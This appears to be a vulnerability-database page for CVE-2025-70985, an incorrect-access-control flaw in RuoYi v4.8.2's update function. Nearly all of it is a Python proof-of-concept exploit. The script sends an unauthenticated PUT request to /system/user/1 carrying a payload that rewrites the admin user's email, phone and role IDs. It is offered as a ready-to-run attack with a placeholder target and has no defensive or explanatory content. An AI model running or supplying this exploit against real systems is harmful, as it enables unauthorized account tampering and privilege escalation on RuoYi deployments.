CVE-2025-70985 RuoYi v4.8.2 update函数访问控制错误漏洞

import requests import json # CVE-2025-70985 PoC - RuoYi v4.8.2 Incorrect Access Control # Target: RuoYi v4.8.2 update function TARGET_URL = "http://target.com" # Replace with actual target URL def exploit_cve_2025_70985(): """ Exploit for CVE-2025-70985: Incorrect access control in RuoYi v4.8.2 update function This PoC demonstrates unauthorized data modification """ # Step 1: Identify the vulnerable update endpoint # Common endpoints in RuoYi: /system/user/{id}, /system/role/{id}, /system/dept/{id} # Step 2: Craft malicious request to update arbitrary data endpoint = f"{TARGET_URL}/system/user/1" # Malicious payload - modify admin user data without authorization payload = { "userId": 1, "userName": "admin", "email": "[email protected]", "phonenumber": "1234567890", "roleIds": [1, 2], "status": "0" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } # Step 3: Send unauthorized update request try: response = requests.put(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Successfully exploited CVE-2025-70985") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_cve_2025_70985()